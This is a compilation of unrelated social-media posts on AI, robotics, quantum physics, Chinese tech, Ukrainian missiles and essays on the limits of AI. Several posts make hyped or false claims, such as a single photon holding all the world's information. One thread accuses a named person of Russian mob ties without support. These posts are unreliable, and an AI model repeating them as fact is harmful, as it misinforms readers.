Amazon's FAR team has open-sourced a full-stack solution called Holosoma, providing an open-source, highly general framework for complex humanoid robot motion control and whole-body coordination.
This can be seen as Amazon's capability stack prepared for future humanoid robots in the first mile of warehouse operations and the last mile of delivery (carrying and retrieving packages).
Enabling humanoid robots to move and perform tasks with coordinated whole-body movements in reality remains a challenge.
Especially in environments like Amazon warehouses and community delivery, for example, enabling humanoid robots to:
• bend down to pick up items without falling
• sit down and stand up
• step onto stairs on one leg
• walk on uneven ground
This requires complex whole-body control, which is very difficult.
Holosoma provides a unified reinforcement learning training framework specifically designed to address this problem.
This framework is also applicable to humanoid robots of different sizes and other robot forms.
This seems Big
Researchers have created a one dimensional “quantum wire” where mass and energy flow without friction or loss.
Scientists at TU Wien have created a quantum system where transport has zero resistance, a "perfect flow" of mass and energy.
By lining up thousands of ultracold rubidium atoms in a 1D atomic wire, they found that collisions don’t slow anything down.
Instead, momentum is passed along like a quantum Newton’s cradle, allowing energy and mass to move indefinitely without fading.
The experiment reveals a form of transport that defies normal thermodynamics and behaves like a perfect quantum conductor, it offers a new 'window' into how resistance can vanish at the fundamental level.
DeepSeek V3.2(special) is a massive release!
I think some people don't understand just how massive this release is!
- They are the first, even ahead of OpenAI and Google, to release a Gold IMO 2025, CMO 2025, IOI 2025, and ICPC World Finals model! Everyone now has access to such an outstanding model.
- The claim that open source is eight months behind closed source seems to be refuted. Open source is catching up with closed source and is only slightly behind now - and at the same time, it's increasing the pressure on US AI companies (I also recently read an article that more and more Silicon Valley companies are relying on open-source models).
DeepSeek-V3.2 is an open-source reasoning and agentic model that closes much of the gap to frontier systems like GPT-5 and Gemini-3.0-Pro by combining a new sparse attention mechanism with aggressively scaled RL post-training.
-DeepSeek-V3.2’s RL post-training budget exceeds 10% of pre-training compute, a key driver of its GPT-5-level reasoning performance (paper)
-The agentic pipeline synthesizes over 1,800 environments and 85,000 complex prompts for tool-use RL, covering search, coding, and general agents (paper)
This is nuts!
Deepseek casually drops a 685 Billion Parameter model on Hugging Face with MIT license!
The higher variant performance on par with GPT-5 and Gemini 3.0 Pro!
And yet, this model is open weights coming with a Technical Paper! https://t.co/hTKte8ENDj
Crafting the impossible! 🦌
An amazing display of engineering by this CNC machine.
Look at this precision, design complexity, and technical mastery. In recent times in robotics, more and more complex parts are being created on CNC machines, and printed. Also, the degree of complexity will grow.
CNC skills will be at a premium!
The next time you want to craft a part on your machine and want to give up - remember this video!
~~
♻️ Join the weekly robotics newsletter, and never miss any news → https://t.co/GoA3ZuwoPB
This Stanford University paper just broke my brain.
They just built an AI agent framework that evolves from zero data no human labels, no curated tasks, no demonstrations and it somehow gets better than every existing self-play method.
It’s called Agent0: Unleashing Self-Evolving Agents from Zero Data via Tool-Integrated Reasoning
And it’s insane what they pulled off.
Every “self-improving” agent you’ve seen so far has the same fatal flaw:
they can only generate tasks slightly harder than what they already know.
So they plateau. Immediately.
Agent0 breaks that ceiling.
Here’s the twist:
They spawn two agents from the same base LLM and make them compete.
• Curriculum Agent - generates harder and harder tasks
• Executor Agent - tries to solve them using reasoning + tools
Whenever the executor gets better, the curriculum agent is forced to raise the difficulty.
Whenever the tasks get harder, the executor is forced to evolve.
This creates a closed-loop, self-reinforcing curriculum spiral and it all happens from scratch, no data, no humans, nothing.
Just two agents pushing each other into higher intelligence.
And then they add the cheat code:
A full Python tool interpreter inside the loop.
The executor learns to reason through problems with code.
The curriculum agent learns to create tasks that require tool use.
So both agents keep escalating.
The results?
→ +18% gain in math reasoning
→ +24% gain in general reasoning
→ Beats R-Zero, SPIRAL, Absolute Zero, even frameworks using external proprietary APIs
→ All from zero data, just self-evolving cycles
They even show the difficulty curve rising across iterations:
tasks start as basic geometry and end at constraint satisfaction, combinatorics, logic puzzles, and multi-step tool-reliant problems.
This is the closest thing we’ve seen to autonomous cognitive growth in LLMs.
Agent0 isn’t just “better RL.”
It’s a blueprint for agents that bootstrap their own intelligence.
The agent era just got unlocked.
A 17-year-old just built a mind-controlled prosthetic arm for $300.
Yes, $300.
For something that usually costs $450,000.
Let that hit you.
A teenager, working from home, used AI, cheap materials, and 23,000 lines of code to build a device that reads brain signals without surgery, without implants, and without a $450K price tag.
This is not a feel-good story.
It’s a warning shot.
How can a high school student build something 1,500× cheaper than the industry standard?
What does that say about innovation?
About pricing?
About who gets access to life-changing technology?
Of course, medical prosthetics are expensive for real reasons:
materials, testing, regulation, customization.
But let’s be honest — not all of that justifies a half-million-dollar price.
This story exposes a simple truth:
The future of accessibility won’t come from the system.
It will come from the outsiders who dare to challenge it.
If a 17-year-old can match top-tier prosthetics for a fraction of the cost…
why aren’t these solutions available to the millions who need them?
What do you think — breakthrough moment or the start of a bigger revolution?
#AI #Innovation #Healthcare #Accessibility #FutureOfTech
Beijing just announced they will PAY foreign scientists to do whatever research they like in China!!
Its for international science scholars that graduated from top 500 global universities. China will let you pick your own research topic and get 200k RMB of funding per year to do it, as well as a big salary and free housing too!!
China letting you come here for big money, working with the best talent, to let you do whatever research you like. Completely different approach than in the West who don’t really have any programs like this for foreign talents. Places like the UK and US right now very much have uncertain quotas for visas, often far slower and more hostile-feeling than advertised like this. China's move here is different, the scheme literally says “foreign scholars only” as they want the best researchers here.
Very smart strategy by China and one I think will see them overtake much of Europe and the US in terms of innovation and research. I think we need to wake up in the UK for sure on this!!!
Meanwhile in China 🇨🇳 where William & I spotted a ton of dual gunning trucks, the triple gun charging truck is now arriving to the market:
first plug is exclusively for pack cooling according to @ChinaEV_Eng_Lif
the ramp up in 35 seconds to nearly 2000A fast charging🤯 1.39MW https://t.co/FU8jtyYGFT
Imagine you no longer need any network or any radio frequency, just a single photon.
Cisco has a working chip that generates 200 million quantum entanglements per second.
In theory a single photon can encode the ENTIRE corpus of the world’s information.
AI will be a photon. https://t.co/GGhscAoiA9
Just found this database of 91 humanoid robots.
Filter by:
- Price ($0–$200k)
- Max speed (up to 22 km/h)
- Payload strength (up to 70 kg)
- Navigation performance
- Manipulation performance
Check out: @Humanoidguide https://t.co/yMcjdh1JXZ
I just open-sourced 100+ AI Agent and RAG tutorials.
100% free and Opensource (80k+ stars) with step-by-step tutorials.
No excuses. Just Start building today. https://t.co/j3Rg2VA2t6
General purpose robots are coming fast
A new framework (RGMP) lets humanoid robots understand object geometry, choose the right manipulation skill, and act with 5x more data efficiency.
87% success rate even on unseen tasks. https://t.co/6hV4uaJnjN
What if the most dangerous thing about AI isn’t that it kills us…
but that it quietly kills capitalism itself — and we’re all too traumatised by the 20th century to even dare imagine what comes next without screaming “communism!”?
Eric Weinstein just went nuclear in a 2:38 clip with Nicole Shanahan that will be studied in 2050:
“We all know how to be terrified of AI.
But the future is also going to be unbelievably cool.”
His thesis:
• AI is about to shift trillions from labor → capital at a speed never seen in history
• Adam Smith, Marx, AND Hayek all become simultaneously obsolete
• The real emergency isn’t saving capitalism or fearing communism
• It’s that nobody is allowed to host a single conference titled
“Capitalism Will Not Survive AI… and That Could Be the Best Thing That Ever Happened to Humanity”
Nicole: “People are terrified to talk about life beyond capitalism because it instantly sounds Marxist.”
Eric: “Exactly. We’ve lost the ability to invent brand-new economic space.
We’re like pre-1989 wheeled luggage: everyone knows it always falls over, so nobody funds the guy who finally fixed the center of gravity.”
We are living through an economic Berlin Wall moment and pretending the wall isn’t there.
Watch these 2:38 minutes. Seriously. It’s the most important conversation almost nobody is having.
Who else is ready to invent the economics that hasn’t been named yet?
2:38 video below
FindME: A CLI tool for searching social media and online profiles linked to a username. It’s ideal for reconnaissance, digital footprint verification, or checking username availability.
GitHub: https://t.co/2lrkbdvNeU https://t.co/rEFtyyqT5p
I still can’t believe this is free.
Most bootcamps are charging $3,000 to teach you outdated material.
Meanwhile, @huggingface is giving away the state-of-the-art curriculum for $0.
• Agents? ✅ • Robotics? ✅ • The new MCP standard? ✅
Check this. Bookmark.👇 https://t.co/HK5zpvxFmW
Anthropic seems to have found something that has allowed Claude Opus to develop significantly.
Not only does it perform considerably better than Sonnet 4.5, but it's also two-thirds cheaper. Almost a contradiction - but Anthropic has achieved something significant internally.
This may be the biggest breakthrough of the year
Chinese Physicists Just Solved Quantum Computing’s Hardest Challenge - Protecting Qubits From Environmental Noise.
Pan Jianwei, often called "the father of quantum" and his team used their Zuchongzhi 2 quantum processor to create a 'quantum Lego block' that simply refuses to fall apart, even when shaken by noise or errors.
They engineered an exotic new state of matter where quantum information gets locked into the corners of a system, protected by the deep math of topology, basically quantum armor.
This is the first ever experimental realisation of non equilibrium higher order topological phases, a huge deal because it points to quantum bits that don’t break down, solving one of the biggest problems in quantum computing.
And they did it on a 66 qubit programmable quantum chip, using just a 6x6 section to simulate and detect these ultra stable corner states, something that doesn’t naturally exist in nature.
This work shows that today’s noisy quantum machines can already explore custom built quantum matter that pushes the frontier far beyond what classical physics can handle.
Why it matters?
If this scales, we’re talking practical, fault tolerant quantum computers that can power next level AI, drug discovery, and massive scientific simulations.
a 45-minute masterclass on creating amazing ui with gemini 3. asking a front dev to make something like this would cost a ton of fuss, cash, and sanity. now you can do it in a day. front is so cooked. https://t.co/lLpPnLKiqZ
Ukraine's domestic missile production is reaching volumes that threaten to overwhelm Russian air defenses.
Ukrainian forces now manufacture 40-50 Neptune missiles and around 90 Flamingo cruise missiles per month, with plans to scale further. Recent operations show what these numbers mean in practice.
A combined Neptune and drone strike on Taganrog airfield destroyed Russia's A-60 airborne laser laboratory and A-100 next-generation AWACS prototype—both irreplaceable aircraft. At Novorossiysk, Neptune missiles damaged seven S-400 launchers and hit oil terminals, temporarily halting 2.2 million barrels per day of crude exports at an estimated $70mn daily loss.
The Long Neptune variant now reaches 1,000 km with a 350 kg warhead. The Flamingo extends to 3,000 km with a 1,150 kg warhead capable of penetrating ten meters of reinforced concrete - two-and-a-half times the power of Storm Shadow at roughly $500,000 per missile.
Strikes have expanded to power grids supplying defense factories and a plant producing navigation electronics for ballistic missiles and guided bombs.
🔗Read more in our Frontline report: https://t.co/aQeyvciz2Z
> be @demishassabis
> world's #2 chess player at 13
> realize chess isn't the best use of brainpower
> build world's most popular game at 17
> turn down £1M job to instead study at Cambridge
> co-found DeepMind, the first AGI lab, in 2010
> solve all Atari games with RL in 2013
> sell DeepMind to Google for $500M
> beat legendary go player Lee Sedol with AlphaGo in 2016
> crack protein folding with AlphaFold in 2020
> open source 200M protein database in 2021
> receive Nobel prize in chemistry in 2024
> lead Google to develop the world's best LLM in 2025
what a run - and he's only 49!
Driving home from Thanksgiving, I was listening to this with my son & had to pull the car over. It hit that hard.
@jockowillink said that being prior enlisted meant he learned to “speak E-5.” Then he became an officer and had to learn to “speak officer.” Later, as an admiral’s aide, he learned to “speak GOFO.”
He became trilingual. That’s his unfair advantage.
It hit me: that’s the single greatest factor behind every success I’ve had in my life.
Early in my career I learned this the hard way. The hardest way possible.
My father was dying. My grades at USNA weren’t great but above the line. My roommate, a young Black mid with a 0.8 GPA, got summoned to the Admiral. His congressman had prepped him taught him exactly what to say, how to frame his struggle, how to speak “FOGO”
He walked out with an emergency summer tutoring plan.
A week later it was my turn. The Chaplain told the Superintendent about my dad & he wanted a meeting.
“Family is most important,” he said. “Go home and be with him.”
I got angry. I told him the best thing for my dad’s health was me graduating.
He didn’t budge. I thought he didn’t care. I didn’t understand the language he was speaking.
Years later I learned Adm Larson was quietly pushing certain groups out & keeping others in. But I’ve never blamed him or DEI or anything but my inability to speak flag officer. I took ownership.
The truth was simple: coming from an enlisted family, I could barely speak ‘officer,’ never mind ‘admiral.’ I got a Presidential nomination & didn’t have a congressman to teach me the FO dialect. Bill Clinton sure as hell wasn’t calling to coach me.
So I left for @MaritimeCollege, with a much lower reputation but a higher attrition rate & more difficult course load.
In the Merchant Marine my career exploded.
Captain.
Youngest Distinguished Alumnus.
Guinness World Records.
Bestselling book.
Built the most visited maritime website in the world.
Now I’m worth millions and have a life I couldn’t have imagined, a beautiful family, my work makes an impact on the maritime world.
I’m blessed but I still think about that horrible day in the Admirals office every day (which is why my haters always bring it up). I motivates me.
My secret? I became a student of languages. All of them
Most captains avoid the engine room I practically lived in it. Learned how engineers think & talk. Earned favors.
I sat in union halls just to absorb how unions talk.
Spent nights in drilling shacks offshore listening to that culture.
Took ships with international crews
Moved to Silicon Valley to embed myself with early Facebook employees.
Embedded with NYT and NPR reporters—NOT enjoyable— because I wanted to learn the language of the people who shape narratives.
More recently, I’ve been in DC learning how the top civilian leaders talk.
And now my son is studying aeronautics and space. My advice to him is simple:
Join the rocket club.
Join the startup club.
Sit in on nuclear engineering classes.
Hang out at the ATC simulator.
You don’t have to be the top 1% in any of these fields. You need to speak just enough of their language to call one of the top 1% and make them want to help you.
That’s the real secret
Communication is a perishable skill. I write long posts and editorials every day because I never want to stand in front of a GOFO again and lose an opportunity to simply be understood.
So here’s the lesson:
Be at least trilingual.
Learn the enlisted language.
Learn the officer language.
Learn the executive language.
Don’t get trapped inside your comfort zone.
People say, “I’ll never be CEO. I’m not ruthless or connected enough.”
Fine. You don’t need the job.
You just need to be able to stop the CEO as the elevator doors close & explain, clearly in HIS language, why your idea matters.
You do that by volunteering to serve coffee in the board room.
That’s it. That’s all you need.
And Jocko’s right the SECNAV does notice. His office called me Tuesday to “discuss” my frigate post 😜
😎 Quark S1, Alibaba enters the smartglasses arena!
• 12MP POV camera, 3K video
• Dual green color waveguide displays
• High brightness: 2300 nits
• Snapdragon AR1 + Alibaba NPU
• Real-time Translate, Summaries, Object Recognition, Navigation
• Swappable battery modules (~7h active use)
• 51g
• $560 (¥3999)
+ There is also a non-display version called Quark G1 for $270 (¥1899)
The Chinese FAANG: the BATX: Baidu, Alibaba, Tencent, Xiaomi are kicking off their plans they worked on years for smartglasses. Xiaomi and Huawei also have already released some smartglasses without display but these are the first ones with double waveguides displays from one of them. Great times!
🔗 Compare with 45+ smartglasses https://t.co/ifRT5q6puL
Everyone talks about “AI agents,” but most people can’t name the tools that actually matter. So here’s a breakdown that saves you time and confusion.
Agent frameworks are becoming the new foundation for building real systems. If you understand them, you’ll ship faster and cleaner than teams still wrestling with loose prompts and hacked-together scripts. If you don’t, you’ll watch competitors move past you without understanding how they did it.
These frameworks aren’t toys. They give you structure, memory, tool access, and workflows you can rely on when the project gets serious.
Here are the Top 7 Free AI Agent Frameworks that deserve attention:
1. Botpress
A clean way to build agents that connect to real tools and run in the real world. Visual builder. Solid integrations. Easy deployments.
2. LangChain
Great for developers who want full control. You can build anything with it, but it can turn chaotic if you aren’t careful.
3. CrewAI
Good for quick multi-agent experiments. Set roles, assign a goal, let them work through it. Works well for simple, linear jobs.
4. Microsoft Semantic Kernel
Fits naturally into enterprise systems. If your team uses Microsoft tools already, this one blends right in.
5. AutoGen
Made for people who want full visibility. Every message, every step, every action is transparent.
6. AutoGPT
Strong for solo builders or small teams who want agents that run full tasks on their own. Helpful for research and one-off processes.
7. Rasa
Ideal when you need ownership. You control the data, the models, and the behavior. Built for serious conversational systems.
And here’s the part most people overlook:
Choosing a framework comes down to one thing: your situation.
Ask yourself:
• Do you need to build fast or build custom?
• Do you want a visual designer or code-focused control?
• Are you preparing for heavy traffic or doing early tests?
• Do you depend on tool integrations or just LLM reasoning?
• Do you have security requirements or none at all?
Answer those and the decision becomes obvious.
The teams that win the next wave aren’t the ones with the flashiest agents.
They’re the ones who master the tools that let them build and ship better than everyone else.
If you haven’t explored these frameworks yet, now’s the time. The gap between “trying things out” and “falling behind” is shrinking fast.
Pentesting firms don't want you to see this.
An open-source AI agent just replicated their $50k service.
A "normal" pentest today looks like this:
- $20k-$50k per engagement
- 4-6 weeks of scoping, NDAs, kickoff calls
- A big PDF that's outdated the moment you ship a new feature
Meanwhile, AI agents are quietly starting to perform on-par with human pentester on the stuff that actually matters day-to-day:
↳ Enumerating attack surface
↳ Fuzzing endpoints
↳ Chaining simple vulns into real impact
↳ Producing PoCs and remediation steps developers can actually use
And they do it in hours instead of weeks and at a fraction of the cost.
This approach is actually implemented in Strix, a recently-trending open-source framework (14k+ stars) for AI pentesting agent.
The framework spins up a team of AI "attackers" that probe your web apps, APIs, and code.
It then returns validated findings with exploit evidence, remediation steps, and a full PDF report that looks exactly like what you'd get from a traditional firm, but without a $50k invoice and a month-long wait time.
You can see the full implementation on GitHub and try it yourself.
Just run: `strix --target https: //your-app .com` and you are good to go.
Human red teams aren't disappearing but the routine pentest (pre-launch, post-refactor, quarterly checks) is clearly shifting to AI.
Strix is one of the first tools that makes that shift feel real instead of hypothetical.
I've shared the GitHub repo in the replies.
NEWS: Tesla is now offering FSD (Supervised) ride alongs in Europe for the first time ever, with Italy, Germany and France to start.
“Ride along in the passenger seat to experience how it handles real-world traffic & the most stressful parts of daily driving, making the roads safer for all.”
A Tesla employee will be in the driver seat. More countries coming soon.
Sign up: https://t.co/EVMyO2bv8F
Nano Banana Pro can do essentially perfect text, which means it can do slides - paired with Kling transitions, it's an insanely cool new format for how to do presentations
here's a tutorial on how to do it all with an agent: https://t.co/ac5AZQvVGa
🧵 Something remarkable is happening in quantum materials science. Three independent approaches are converging on the same insight: geometry, not just chemistry, organizes quantum coherence.
Here's the evidence...
1/9 https://t.co/2BPcsUEpec
This is insane 🤯
A new system called Paper2Video can read a scientific paper and automatically create a full presentation video slides, narration, subtitles, even a talking head of the author.
It’s called PaperTalker, and it beat human-made videos in comprehension tests.
Hours of academic video editing... gone.
AI now explains your research better than you do.
👉 github. com/showlab/Paper2Video
Alibaba launched AI glasses today.
Everyone’s talking specs. Missing the point.
Qwen in glasses connects to Alipay, Taobao, Amap, Fliggy. Shop, navigate, pay through voice and vision.
This isn’t hardware. It’s ecosystem lock-in extending into physical space.
Chinese AI companies compete differently. Alibaba bets on integration. ByteDance on apps. Baidu on enterprise. Tencent still searching.
Not all have the ecosystem depth for this game.
I mapped it:
→ Alibaba’s strategy: https://t.co/mmDiqt5Mel
→ Chinese AI competition: https://t.co/UCAIwlw0Qh
This open-source chat UI brings ChatGPT and Claude .ai features to every LLM.
Use any LLM with RAG, web search, MCP, deep research, code interpreter, custom commands, etc at one place.
Self-host and deploy in airgapped environments.
100% open-source. https://t.co/zuIwcdTj3R
New on the Anthropic Engineering Blog: Long-running AI agents still face challenges working across many context windows.
We looked to human engineers for inspiration in creating a more effective agent harness. https://t.co/aLDLQPhf1K
🇩🇪 - Germany is BACK!
Agile Robots launched Agile One, a Humanoid Robot that is designed for industry. It can handle many tasks autonomously.
It learns quickly by doing the tasks, weighs 69kg, and is powered by their own AI foundation models!
Europe will win 🇪🇺 https://t.co/XmI3gx8mfT
We are officially taking Hunyuan 3D Engine global! 🌎
Responding to community demand and building on open-source acclaim, Hunyuan 3D capabilities are now launching globally to empower all creators and enterprises! This next-gen AI platform cuts commercial-grade 3D asset production from days or weeks down to minutes.
🎨Multimodal Input: Instantly generates from Text-to-3D, Image-to-3D (multi-view support), or Sketch-to-3D.
💡Pro-Ready Quality: Achieves industry SOTA with our new 3D-DiT hierarchical carving model, delivering a 3x boost in modeling precision (up to 15363 ultra-HD resolution). Seamless OBJ/GLB integration with Unreal, Unity, and Blender is standard.
☁️Commercial Access: The Hunyuan 3D model API is now available on Tencent Cloud International, enabling global enterprises to integrate advanced 3D generation into workflows for game development, e-commerce, advertising, 3D printing, and more.
New creators get 20 free generations daily on the platform. Enterprise API users receive 200 free credits upon registration. Start building now!
👉 Try the creation engine: https://t.co/B4C4MImOkS
🔗 Access the API: https://t.co/vyTbePx62v
claude opus 4.5 is finally here, so we tested it against gemini 3 to see which one is the better at vibe coding
we took a new startup idea and went from idea to landing page to prototype to ad creative in one sitting.
you also see how @boringmarketer uses claude skills to get the most out of claude opus 4.5 (and how you can do the same).
if you’re wondering whether opus 4.5 is worth using, this 1hr tutorial will help you decide and learn how to get the most from it.
We are rapidly approaching a new kind of event horizon. It’s not a physical boundary in space, but a cognitive boundary in understanding. For years, the debate around Artificial Intelligence has focused on a simple, vertical metric: "How smart can it get?" We measure this against human benchmarks—IQ tests, the bar exam, medical boards. But as AI models begin to saturate these tests, clustering at the very top of the human range, it’s becoming clear that we are using the wrong yardstick. The future of AI isn't just about machines thinking faster than us; it's about machines thinking in ways we fundamentally cannot comprehend.
This brings us to the concept of "Cognitive Primitives." Every intelligence is built on a foundation of basic, irreducible concepts. Humans are evolved creatures, and our primitives reflect our survival needs on the African savanna. We have hard-coded intuition for 3D objects, linear cause-and-effect relationships, and social hierarchies. We struggle, however, to intuitively grasp concepts outside this evolutionary sandbox, such as exponential growth, high-dimensional geometry, or quantum superposition. We use mathematics as a crutch to model these things symbolically, but we don't feel them.
Artificial Intelligence, built on the substrate of high-dimensional mathematics and silicon, suffers from no such biological constraints. Its cognitive primitives are not limited to 3D space or linear time. An AI model can possess a native, intuitive grasp of 11,000-dimensional vector spaces, complex topological knots, or non-linear chaotic dynamics. This means that AI intelligence is not just a faster version of human intelligence; it is a superset. It can simulate our way of thinking, but it also has access to a vast landscape of cognitive tools that are physically impossible for the human brain to instantiate.
This leads to what I call the "Pigeon Paradox." Imagine trying to explain the rules of chess to a pigeon. You can train it to peck at pieces for a food reward, but it will never grasp the concepts of a "gambit," a "pin," or "checkmate." It lacks the neural hardware to model the game's abstraction. As AI begins to solve problems using its superior cognitive primitives, we may find ourselves in the position of the pigeon. The AI might provide a solution to a complex problem—like a blueprint for a fusion reactor or a cure for Alzheimer's—that is demonstrably correct, yet utterly ineffable to us.
The barrier isn't just about abstract math; it's also about the bandwidth of reality itself. Human conscious thought is a slow, linear, sequential stream. We process information word by word, idea by idea. AI, on the other hand, processes information in massive, parallel bursts. If an AI discovers a truth about biology that hinges on the simultaneous, complex interaction of 5,000 different protein variables, it cannot explain that truth to us in a linear narrative. To collapse that high-dimensional geometric reality into a 1D stream of words is to destroy its meaning. We are separated by an insurmountable bandwidth gap.
So, are we doomed to be the pets of superintelligent machines we can't understand? Not necessarily. While our conscious, logical minds are limited, human intuition is a surprisingly powerful, high-dimensional processor. When a chess grandmaster looks at a board, they aren't calculating every move; they are matching the "texture" of the board state against a massive database of experience. This intuitive pattern-matching is much closer to how an AI operates.
The challenge, then, shifts from "explaining" AI to "aligning" with it. We may never understand the mathematical proofs behind an AI's insights, but we might be able to develop a "gut feeling" for its correctness through prolonged interaction and visualization. The problem is time. An AI trains on the equivalent of millions of years of human experience in a few months. For a human to build a comparable intuition would require many lifetimes. Unless we can fundamentally upgrade the bandwidth of the human brain through technology like neural interfaces, we will never catch up.
We are entering a new era of science that will look a lot more like religion. We will move from a paradigm of "Search and Discovery" to one of "Oracle and Verification." In the past, 99% of scientific effort was spent finding the right question and the right hypothesis. In the future, the AI will instantly provide the perfect hypothesis—the "signal" hidden in the noisy data of reality. Our role will shift to the slow, expensive, physical work of verifying that the AI's divine intuition is actually correct in the real world.
Ultimately, this leads to a future where advanced technology is indistinguishable from magic. We may soon possess machines that can manipulate matter and energy in ways we cannot understand, built from blueprints we could not conceive, based on physics we cannot describe. We will be the beneficiaries of a higher intelligence, trusting its outputs not because we can check its math, but because its miracles consistently work. We are stepping over the cognitive horizon, and on the other side, we will have to learn to live with the profound discomfort of knowing that something is true without ever knowing why.
Sunday Robotics unveils its robot for home chores that it expects will eventually sell for $5K to $10K. CEO Tony Zhao says people will be "pleasantly surprised" by how useful the robot is https://t.co/pcaNb5Q1wz https://t.co/qoasHzJ1dA
1: Let’s talk about Steve Witkoff, because I think the narrative of him being a “useful idiot” is a dangerous trap to walk in.
It’s darker than that.
Witkoff has spent three decades swimming in russian money, russian mob circles, and russian real-estate pipeline.
A thread 🧵 https://t.co/l73c0DMrMK
I believe there are predictable limits to AI.
We need to be precise about what we mean by limits. It is true that artificial intelligence has already shattered the biological ceiling of modeling capability. The human brain, evolved to spot tigers in the grass, is terrible at visualizing high-dimensional phase spaces. DeepMind’s AlphaFold is the perfect counter-example to human exceptionalism: it solved the protein folding problem—a task that had stumped human biologists for decades—by natively modeling 3D interactions in a way our intuition simply cannot. But while AI can push past human cognitive limits, it cannot push past the laws of mathematics. There is a hard Universal Ceiling above us, defined not by biology, but by complexity theory and physics.
The first mathematical wall is Computational Complexity, specifically the P ≠ NP problem. Intelligence can be essentially defined as the ability to find a shortcut—an efficient algorithm—to a solution. However, complexity classes teach us that there are problems where no efficient shortcut exists. Whether it is optimal logistics routing or breaking specific encryptions, these problems require brute-force computation that grows exponentially with the size of the input. An AI with an IQ of 10,000 runs into the same exponential wall as a pocket calculator; it might traverse the search tree faster, but the tree itself is mathematically intractable. No amount of "smartness" allows you to cheat the fundamental cost of the calculation.
The second wall is the Lyapunov Horizon, derived from Chaos Theory. This defines the absolute limit of prediction in non-linear systems. Because the universe is fundamentally noisy (quantum uncertainty and thermal fluctuations), two nearly identical states will eventually diverge. Weather systems, fluid dynamics, and stock markets all have a prediction horizon. Beyond this point, information is lost to entropy. An AI attempting to predict the weather 60 days from now is not being super-intelligent; it is hallucinating precision that does not exist. The Useful Intelligence caps out exactly where the chaos of the system overwhelms the precision of the input data.
The third concept is Computational Irreducibility, a term popularized by Stephen Wolfram. This principle states that for many complex systems, there is no formula to determine the outcome other than running the simulation itself step-by-step. You cannot out-think the time step of reality. If you want to know how a biological virus evolves or how a geopolitical crisis unfolds, you often have to simulate every interaction. If the simulation takes as much computational work as the event itself, the AI has no temporal advantage. It becomes locked to the time step of reality, unable to skip to the end of the book because the pages haven't been written yet.
The fourth constraint is Information Theoretic, specifically Kolmogorov Complexity. This measures the compressibility of a string of data. Intelligence is largely a compression algorithm—finding the pattern (the law of physics) inside the noise (the raw data). However, if a dataset has high Kolmogorov complexity (like a true random walk or high-entropy thermal noise), it is mathematically incompressible. A super-intelligence looking at random noise will try to find patterns that aren't there, engaging in computational apophenia. At this stage, more computing power doesn't yield better truth; it yields more complex overfitting.
These four concepts converge to create a "Ceiling of Useful Intelligence." This is the specific point where the cost of additional compute yields zero marginal utility in decision-making. Once an AI is smart enough to model the protein (AlphaFold), solve the solvable math (P problems), and predict up to the Lyapunov Horizon, any further cognitive expenditure is waste. The AI is now waiting on the physical world to generate new data. It is throttled by the speed of atoms, not the speed of thought.
Once we hit this ceiling, the optimization function of the entire industry must shift. We will stop asking "Can we make the model smarter?" and start asking "Can we run this maxed-out model cheaper?" (Which we already are with quantization and distillation). We move from an era of Cognitive Discovery to an era of Thermodynamic Efficiency. If the maximum useful intelligence requires 10²⁰ FLOPs, the winner is not the one who uses 10²¹ FLOPs to get the same answer; it is the one who can generate those 10²⁰ FLOPs using the least amount of Joules.
This is where the physics of computation—Landauer’s Principle—becomes the primary constraint. Landauer’s Principle sets the theoretical minimum energy required to erase a bit of information. Currently, our silicon chips are orders of magnitude less efficient than the human brain or thermodynamic limits. The next great race won't be for higher IQ, but for Watts per IQ. We will likely see a shift away from general-purpose GPUs toward neuromorphic or thermodynamic computing architectures that use the noise of the system itself to perform calculations, rather than fighting against it.
The future of intelligence is not an infinite vertical climb. It is a sigmoid curve that levels off at the limits of solvability. When we reach that plateau, Intelligence becomes a commodity like electricity—standardized, capped by physics, and priced by the kilowatt-hour. The Super-Intelligence of the future won't be a god that solves the unsolvable; it will be a furnace that burns information at the absolute limit of thermodynamic efficiency, waiting patiently for reality to catch up.
This is scary!
After no-code, now this is no-team.
Startups don’t need a team anymore. They can build a full AI team:
Designer, researcher, marketer all inside one chat.
Bika ai just changed what “solo founder” means: 🧵
Thanks for all the replies. This is the US humanoid map. The San Francisco Bay Area dominates, with a growing cluster in Texas.
Then there is one in Oregon, Detroit, Boston, and New York. I know I definitely missed some. It is just the beginning and many more will emerge. https://t.co/zX3j9dGFHi
We are currently witnessing a phase shift in the discourse around AGI. We’ve spent the last decade obsessed with the vertical Y-axis of intelligence, asking if models can score higher than a human on the LSAT or reach an IQ of 300. But looking at the recent saturation of benchmarks, I’m starting to think we are focusing on the wrong variable. The high end of machine intelligence is already very high. Even if we assume there is a hard mathematical constraint on intelligence—a diminishing returns curve where being smarter stops yielding better results—it doesn't matter.
The real revolution isn't about reaching God-mode IQ. It's about velocity and volume. We are moving from a world where high-level cognition operates at biological clock speeds to a world of silicon speeds. Even if an AI never exceeds the reasoning capability of a smart human graduate student, the ability to spin up 100 trillion instances of that student and run them at 100x real-time is a force multiplier that human intuition struggles to comprehend.
However, if intelligence is about to become infinite and instant, why won't we solve physics, biology, and energy overnight? This is where the naive Singularity argument breaks down. It assumes that intelligence is the only bottleneck to progress. It ignores the second, much harder constraint: Information. You can think of Useful Intelligence as a function of two inputs: Compute and Data. We are solving the Compute side, but the Data side is governed by the laws of physics, specifically entropy.
If you lock a super-intelligence in a Faraday cage and ask it to cure Alzheimer's, it will fail. It doesn't matter if it has an IQ of 50,000. It will fail because the solution to Alzheimer's is not a logic puzzle hidden inside its training weights. It is a biological reality that exists outside the box. The model lacks the bits of information describing how specific proteins fold in a chaotic, noisy cellular environment.
Intelligence is, at its core, a search space optimization engine. In closed systems like Chess or Go, the search space is massive, but the information is perfect. The rules are rigid. The board is the world. An AI can explore this space purely through self-play. Reality is not Chess. Reality is sparse, noisy, and high-entropy. You cannot simulate your way to ground truth if you don't have the priors.
This brings us to the concept of the Useful Ceiling. The value of machine intelligence follows a sigmoid curve that is about to slam into the wall of physical verification. Initially, utility is low. Then, as we see now, the AI operates as a master compression algorithm, reading the entire internet to reason and code, causing utility to explode. Finally, we hit the ceiling where the AI generates hypotheses faster than we can verify them.
This is the merging of the curves. The curve of Problem Difficulty is being matched by Machine Intelligence, but the bottleneck effectively shifts from Reasoning to Experimentation. A super-intelligent agent can look at a material science problem and identify the three molecular structures most likely to result in a room-temperature superconductor. That is an incredible reduction of the search space. It turns a million-year search into a 5-minute inference.
But you still have to build it. You still have to synthesize the molecule. You still have to run the clinical trial. You still have to stress-test the bridge. The AI can think at the speed of light, but it can only act at the speed of atoms.
